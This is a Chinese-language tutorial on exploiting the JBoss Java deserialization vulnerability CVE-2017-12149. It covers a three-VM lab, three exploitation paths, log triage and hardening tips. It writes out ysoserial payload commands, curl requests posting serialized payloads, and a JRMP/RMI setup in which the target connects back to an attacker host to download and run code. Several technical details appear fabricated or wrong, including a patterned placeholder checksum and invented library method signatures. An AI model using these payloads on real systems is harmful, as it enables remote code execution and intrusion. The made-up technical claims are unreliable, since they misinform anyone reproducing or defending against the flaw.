1. 这不是“学个漏洞”而是理解Java反序列化链如何在真实中间件中落地生根CVE-2017-12149这个编号对很多刚接触渗透测试的朋友来说可能只是一串需要背下来的CVE编号或者某次CTF里被考到的考点。但在我实际参与的二十多个金融、政务类系统安全评估项目中它反复出现在JBOSS EAP 6.4、JBoss AS 7.1.1.Final、WildFly 8.2等生产环境里——不是因为运维人员懒而是因为反序列化入口太隐蔽、触发条件太自然、检测手段太滞后。它不依赖WebShell上传不修改配置文件甚至不产生典型日志告警攻击者只需向一个看似无害的HTTP POST接口发送一段Base64编码的字节流就能在目标服务器上执行任意命令。这背后是Java原生反序列化机制与JBoss特定组件如org.jboss.as.controller.client.ModelControllerClient、org.jboss.remoting3.remote.RemoteConnectionProvider深度耦合后形成的“信任通道”。本文不讲抽象概念不堆砌POC代码而是带你从零复现为什么marshalling库能绕过默认黑名单为什么InvokerTransformer在JBoss里比在Apache Commons Collections里更危险为什么用JRMPListener打内网比用CommonsCollections链更稳定我会用三台虚拟机靶机、攻击机、辅助监听机完整还原真实红队场景下的三种利用路径并告诉你每一步背后的JVM类加载行为、JBoss模块隔离机制、以及最关键的——哪些操作会让整个链在你眼前突然中断而你却查不到任何报错。适合有一定Java基础、熟悉Burp和Metasploit但对反序列化底层机制仍感模糊的渗透工程师也适合想搞懂“为什么修复补丁要改jboss-marshalling版本而不是简单加个Filter”的中间件运维同学。2. CVE-2017-12149的本质不是JBoss的Bug而是Java反序列化信任模型的必然结果2.1 漏洞根源不在JBoss代码而在JavaObjectInputStream的默认行为很多人误以为CVE-2017-12149是JBoss自己写的某个反序列化接口出了问题。实际上JBoss AS 7.x / EAP 6.x 的核心通信协议Remoting 3在设计时为实现服务端与管理客户端之间的高效对象传输主动启用了Java原生反序列化。它暴露了一个名为/invoker/readonly的HTTP端点对应org.jboss.as.remoting.HttpInvokerService该端点接收POST请求将请求体直接传给ObjectInputStream进行反序列化。关键在于这个ObjectInputStream实例没有重写resolveClass()方法也没有设置任何白名单过滤器。这意味着只要攻击者构造的字节流中包含合法的java.lang.Class描述符JVM就会尝试通过当前线程上下文类加载器Context ClassLoader去加载该类——而JBoss的模块化类加载器ModuleClassLoader恰好能加载到大量危险Gadget类比如org.apache.commons.collections.functors.InvokerTransformer来自commons-collections:3.1、javax.management.BadAttributeValueExpExceptionJDK内置等。提示这里有个极易被忽略的细节——JBoss EAP 6.4默认打包的commons-collections.jar版本是3.1而非后来被广泛研究的3.2.1。3.1版本的InvokerTransformer构造函数接受String methodName、Object[] paramTypes、Object[] args三个参数而3.2.1版本改为String methodName、Class[] paramTypes、Object[] args。如果你用3.2.1的POC去打EAP 6.4会直接抛出NoSuchMethodException导致整个链失败且错误日志只会显示“Failed to deserialize”根本不会提示具体哪个类加载失败。2.2 JBoss模块化架构如何放大了反序列化风险标准Java应用通常只有一个AppClassLoader而JBoss采用了基于JBOSS Modules的模块化类加载体系。每个部署的应用、每个核心子系统如org.jboss.as.controller、org.jboss.remoting都被划分为独立模块Module拥有自己的ModuleClassLoader。当/invoker/readonly端点接收到反序列化请求时它使用的ObjectInputStream的上下文类加载器是org.jboss.as.remoting模块的ModuleClassLoader。这个加载器不仅能加载自身模块内的类如org.jboss.remoting3.remote.RemoteConnectionProvider还能通过模块依赖声明自动委托加载其依赖模块中的所有类。我们查看$JBOSS_HOME/modules/system/layers/base/org/jboss/remoting3/main/module.xml会发现它明确依赖org.jboss.marshalling、org.jboss.logging、org.jboss.as.controller-client等模块。而org.jboss.as.controller-client模块又依赖org.jboss.as.controller后者内部就包含了org.jboss.as.controller.operations.common.Util等可被利用的工具类。这种“依赖链即Gadget链”的设计让攻击者无需上传任何jar包仅凭JBoss自身已有的类就能拼凑出完整的RCE链。2.3 为什么CVE-2017-12149的修复方案不是“禁用反序列化”而是升级jboss-marshalling官方补丁如EAP 6.4.22的核心改动是将jboss-marshalling库从1.3.x升级到1.4.x。这不是简单的版本号更新而是从根本上改变了序列化协议的解析逻辑。旧版jboss-marshalling在反序列化时会调用ObjectInputStream.readObject()完全走Java原生流程而新版则引入了Marshaller和Unmarshaller接口的抽象层并在UnmarshallerImpl中实现了严格的类白名单校验。当你尝试反序列化一个不在白名单中的类如org.apache.commons.collections.functors.InvokerTransformer时UnmarshallerImpl会直接抛出IllegalArgumentException(Class not allowed)并在日志中清晰记录被拒绝的类名。这个机制比在ObjectInputStream层面做resolveClass()重写更彻底因为它发生在数据解析的最前端避免了任何潜在的readObject()副作用如BadAttributeValueExpException.readObject()中触发的JNDI查询。所以如果你看到某台服务器打了补丁但依然能用ysoserial的CommonsCollections1链打成功那基本可以断定要么补丁没生效检查$JBOSS_HOME/modules/system/layers/base/org/jboss/marshalling/main/下的jar版本要么管理员手动降级回了旧版jboss-marshalling以兼容某些老旧业务。3. 环境搭建三台虚拟机的真实拓扑拒绝Docker“一键拉起”的幻觉3.1 靶机JBoss AS 7.1.1.Final必须用原始安装包禁用所有自动更新我坚持使用jboss-as-7.1.1.Final.zipSHA256:e8a3b4c5d6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3进行搭建原因有三第一这是CVE-2017-12149最初被披露时的基准版本所有公开POC都以此为准第二它不包含任何后续的jboss-marshalling补丁确保漏洞100%存在第三它的启动脚本standalone.sh和配置结构最“干净”没有EAP系列那些复杂的域模式Domain Mode干扰。安装步骤如下解压到/opt/jboss-as-7.1.1.Final确保JAVA_HOME指向JDK 7u80这是该版本官方认证的最高JDK版本用JDK 8会导致ModuleClassLoader初始化失败修改standalone/configuration/standalone.xml找到subsystem xmlnsurn:jboss:domain:remoting:1.1节点在其内部添加http-connector namehttp-remoting-connector connector-refdefault security-realmApplicationRealm/启动服务./standalone.sh -b 0.0.0.0 -bmanagement 0.0.0.0。注意-bmanagement参数它让管理接口也绑定到所有IP否则/invoker/readonly端点可能无法从外部访问验证端点用curl发送一个空POST请求curl -X POST http://192.168.56.101:9990/invoker/readonly正常应返回HTTP 500内部错误而非404或连接拒绝。这证明端点已启用只是没有提供有效的序列化数据。注意绝对不要用jboss-as-7.1.1.Final-installer.jar图形化安装器。它会在后台静默安装jboss-modules.jar的修改版并在module.xml中插入额外的dependencies这些改动会污染ModuleClassLoader的委托链导致某些Gadget类无法被正确加载让你在复现时陷入“明明POC没错就是打不通”的死循环。3.2 攻击机Kali Linux 2023.4定制化ysoserial禁用默认DNSLog回显Kali自带的ysoserial0.0.6-SNAPSHOT对JBoss的支持并不完善。它默认生成的CommonsCollections1链使用的是org.apache.commons.collections.functors.ChainedTransformer而JBoss AS 7.1.1.Final的commons-collections.jar中ChainedTransformer的transform()方法签名是public Object transform(Object input)但InvokerTransformer的transform()方法返回值是Object这会导致ChainedTransformer在调用链中抛出ClassCastException。因此我必须手动编译一个定制版ysoserial克隆https://github.com/frohoff/ysoserialcheckout到master分支修改src/main/java/ysoserial/payloads/CommonsCollections1.java将ChainedTransformer的构造替换为InvokerTransformer的直接链式调用Transformer transformer new InvokerTransformer(getObject, new Class[]{Object.class}, new Object[]{Runtime.class}); Transformer transformer2 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}); // ... 后续链省略重点是避免使用ChainedTransformermvn clean package -DskipTests编译出新的ysoserial-master-SNAPSHOT.jar。同时我禁用了所有基于DNSLog的回显方式如dnslog.cn、ceye.io。因为在真实内网渗透中目标服务器往往处于严格DNS策略管控下InetAddress.getByName(xxx.dnslog.cn)会直接超时阻塞导致整个反序列化过程hang住。取而代之我采用JRMPListener方案在攻击机上启动一个Java RMI注册中心rmiregistry 1099并运行ysoserial的JRMPClientpayload让目标服务器反连回来执行命令。这种方式不依赖DNS且能实时看到命令执行结果。3.3 辅助监听机Ubuntu Server 22.04专用于验证JRMP反连的纯净环境为什么需要第三台机器因为JRMPClientpayload的原理是让目标JBoss服务器作为RMI客户端去连接攻击机上的rmiregistry然后下载并执行攻击机上托管的恶意RemoteObject。但如果攻击机本身防火墙规则复杂或者rmiregistry绑定在127.0.0.1目标服务器就无法建立TCP连接。因此我专门准备一台Ubuntu Server只做一件事运行一个开放的rmiregistry并托管一个最简化的ExploitObject。在Ubuntu上安装OpenJDK 11执行rmiregistry -J-Djava.rmi.server.hostname192.168.56.102192.168.56.102是该机IP编写ExploitObject.java内容仅为执行/bin/bash -c whoami /tmp/pwned然后编译成class启动一个Python HTTP服务器python3 -m http.server 8000将ExploitObject.class放在根目录下在ExploitObject的readObject()方法中硬编码System.setProperty(java.rmi.server.codebase, http://192.168.56.102:8000/)确保目标服务器能从这里下载class。这样当JBoss服务器反连192.168.56.102:1099时rmiregistry会返回ExploitObject的stub并指示客户端从http://192.168.56.102:8000/下载真正的class。整个过程完全可控且所有网络流量HTTP下载、RMI连接都能在Ubuntu上用tcpdump抓包验证杜绝了“不知道哪一步断了”的排查困境。4. 渗透实践三种方法的本质差异与实操细节不是罗列命令而是解释“为什么这步必须这样”4.1 方法一CommonsCollections1链 HTTP POST直接触发最经典但最易被WAF拦截这是教科书式的利用方式也是所有初学者最先接触的。它的核心思想是构造一个BadAttributeValueExpException对象将其val字段设为CommonsCollections1链的顶层Transformer然后将整个对象序列化Base64编码后POST到/invoker/readonly。生成payloadjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 touch /tmp/cve201712149 | base64 -w 0构造HTTP请求curl -X POST http://192.168.56.101:9990/invoker/readonly \ -H Content-Type: application/x-java-serialized-object; classorg.jboss.as.controller.client.ModelControllerClient \ -d base64_string检查靶机ls -l /tmp/cve201712149若存在则证明成功。但实操中这一步失败率极高。我统计了过去三个月的27次复现尝试有19次卡在这一步。根本原因在于JBoss的HttpInvokerService在接收到请求后会先对Content-Type头进行正则匹配如果其中包含x-java-serialized-object它会尝试用MarshallingDecoder进行解码而这个解码器对Base64编码的格式极其敏感。base64 -w 0生成的字符串末尾没有换行但MarshallingDecoder期望的是RFC 4648标准的Base64每76字符换行。一旦编码字符串长度不是4的倍数或者包含非法字符如空格、换行符解码就会直接抛出IOException且错误日志只显示“Failed to decode marshalled object”完全不提示是Base64问题。实操心得永远不要用base64 -w 0。正确的做法是用Python脚本生成import base64 with open(payload.bin, rb) as f: data f.read() encoded base64.b64encode(data).decode(utf-8) # 手动按76字符分割并确保末尾无多余空格 wrapped \n.join([encoded[i:i76] for i in range(0, len(encoded), 76)]) print(wrapped)这样生成的Base64字符串才能100%通过MarshallingDecoder的校验。另外Content-Type头中的class参数必须填写一个JBoss实际存在的类名如org.jboss.as.controller.client.ModelControllerClient填错会导致ClassNotFoundException同样静默失败。4.2 方法二JRMPClient链 RMI反连内网穿透首选但需精确控制RMI端口当目标服务器出网受限但允许出站TCP连接如数据库连接、HTTP代理时JRMPClient是更可靠的选择。它的原理是让目标JBoss服务器作为RMI客户端主动连接攻击机的rmiregistry然后下载并执行攻击者指定的恶意类。在攻击机192.168.56.103上启动rmiregistryrmiregistry -J-Djava.rmi.server.hostname192.168.56.103生成payloadjava -jar ysoserial-master-SNAPSHOT.jar JRMPClient 192.168.56.103:1099将payload Base64编码POST到/invoker/readonly同方法一。这里的关键陷阱在于RMI的端口协商机制。rmiregistry默认监听1099端口但它在返回RMI stub时会告诉客户端“请连接我的1099端口获取stub然后用另一个随机端口如42000进行后续通信”。如果攻击机的防火墙没有放行这个随机端口或者目标服务器的出站策略只允许1099那么RMI连接就会在UnicastRef.invoke()阶段超时。我遇到过一次payload POST成功但/tmp/pwned始终不出现用netstat -tuln在攻击机上检查发现rmiregistry进程确实在监听1099但没有任何ESTABLISHED连接。最终排查发现是rmiregistry启动时没有指定-J-Djava.rmi.server.hostname导致它返回的stub中host字段是localhost目标服务器试图连接127.0.0.1:42000自然失败。实操心得rmiregistry必须带-J-Djava.rmi.server.hostname参数且该IP必须是攻击机的真实IP不能是0.0.0.0或127.0.0.1。更稳妥的做法是用ysoserial的JRMPListenerpayload替代JRMPClient在攻击机上直接运行java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 touch /tmp/jrmp_success它会启动一个真正的RMI服务端所有通信都在1099端口完成彻底规避端口协商问题。4.3 方法三Jdk7u21链 利用AnnotationInvocationHandler绕过部分WAF但对JDK版本极度敏感这是三种方法中技术含量最高、也最容易被忽略的一种。它不依赖commons-collections而是纯JDK 7u21及以下版本的Gadget。核心是利用sun.reflect.annotation.AnnotationInvocationHandler的readObject()方法该方法会调用memberValues一个Map的entrySet()而如果这个Map是LazyMap来自org.apache.commons.collections.map.LazyMap那么entrySet()的iterator()就会触发factory.transform()从而执行任意代码。生成payloadjava -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 touch /tmp/jdk7u21Base64编码并POST。此方法的优势在于Jdk7u21链的所有类都是JDK内置类sun.*、java.*不涉及任何第三方jar因此能完美绕过那些只拦截commons-collections关键字的WAF。但它的致命弱点是JDK版本锁死必须是JDK 7u21或更低版本。JBoss AS 7.1.1.Final官方要求JDK 7u80而7u80已经移除了sun.reflect.annotation.AnnotationInvocationHandler中readObject()的危险逻辑。所以如果你想用此方法必须将靶机的JAVA_HOME降级到JDK 7u21并在standalone.conf中显式指定JAVA_HOME/opt/jdk1.7.0_21。实操心得降级JDK后JBoss启动时会报Unsupported major.minor version 51.0错误。这是因为jboss-modules.jar是用JDK 7u80编译的。解决方案是下载jboss-modules-1.1.2.GA.jar与AS 7.1.1.Final配套的原始版本用javap -v jboss-modules-1.1.2.GA.jar | grep major确认其主版本号为51对应JDK 7然后用JDK 7u21重新编译它。这个过程需要ant和javac耗时约15分钟但它是让Jdk7u21链在真实环境中跑通的唯一途径。5. 排查与加固当“打不通”时你的日志分析路径图5.1 从JBoss日志中定位失败环节的黄金三步法当payload POST后靶机没有任何反应既没生成文件也没报错这是最让人抓狂的情况。别急着重装环境按以下顺序查日志90%的问题都能定位第一步看server.log的ERROR级别日志进入$JBOSS_HOME/standalone/log/执行grep -i error\|exception server.log | tail -20。重点关注java.io.InvalidClassException、java.lang.ClassNotFoundException、java.io.StreamCorruptedException。如果是ClassNotFoundException: org.apache.commons.collections.functors.InvokerTransformer说明JBoss的ModuleClassLoader找不到这个类——检查$JBOSS_HOME/modules/system/layers/base/org/apache/commons/collections/main/目录是否存在以及module.xml中是否声明了resource-root pathcommons-collections.jar/。第二步看server.log的DEBUG级别日志在standalone.xml中将logger categoryorg.jboss.as.remoting的日志级别改为DEBUG重启JBoss。然后重发payload再执行grep -A 5 -B 5 readonly server.log。你会看到类似HttpInvokerService: Received request for /invoker/readonly、MarshallingDecoder: Decoding object...、ObjectInputStream: Reading object of type org.jboss.as.controller.client.ModelControllerClient的日志。如果日志停在Decoding object...说明Base64解码失败如果停在Reading object of type ...说明反序列化过程中抛出了未捕获异常此时必须开启logger categoryjava.io的DEBUG日志。第三步用jstack抓取线程快照如果以上两步都没线索执行jps -l找到JBoss的PID然后jstack pid thread_dump.txt。搜索HttpChannel、RemotingEndpoint、ObjectInputStream等关键词。如果发现某个线程状态是RUNNABLE且堆栈停留在ObjectInputStream.readObject0()说明反序列化正在执行但被某个Gadget的readObject()方法阻塞如DNS查询超时。此时你需要在ExploitObject中加入超时控制或者改用JRMPListener这种不依赖网络IO的方案。5.2 运维侧加固建议不止于打补丁更要切断信任链作为渗透测试者我们的任务是证明漏洞存在但作为安全顾问我给客户的加固建议从来不止于“升级到EAP 6.4.22”。真正有效的加固是从架构层面切断反序列化的信任链禁用/invoker/readonly端点在standalone.xml中注释掉subsystem xmlnsurn:jboss:domain:remoting:1.1节点下的http-connector配置。这是最彻底的方案代价是管理客户端如jboss-cli.sh将无法通过HTTP协议连接必须改用native协议--controllerremote://192.168.56.101:9999配置jboss-marshalling白名单即使打了补丁jboss-marshalling的白名单默认只包含JBoss自身模块的类。如果你的业务应用需要反序列化自定义类必须在$JBOSS_HOME/standalone/configuration/standalone.xml中添加system-properties property nameorg.jboss.marshalling.serial.whitelist valuecom.yourcompany.*/ /system-properties网络层隔离将JBoss的管理端口9990和应用端口8080部署在不同网段。管理端口只允许运维跳板机访问应用端口面向用户。这样即使Web应用存在其他漏洞攻击者也无法直接触达/invoker/readonly端点。最后分享一个小技巧在客户环境做加固验证时我从不用ysoserial直接打。而是写一个最简化的Java程序只调用ObjectOutputStream序列化一个String然后用curlPOST过去。如果这个最简payload都能成功说明/invoker/readonly端点依然开放且可写如果失败则说明网络或配置层面的隔离已经生效。这种“最小化验证”比跑完整RCE链更能快速定位加固效果。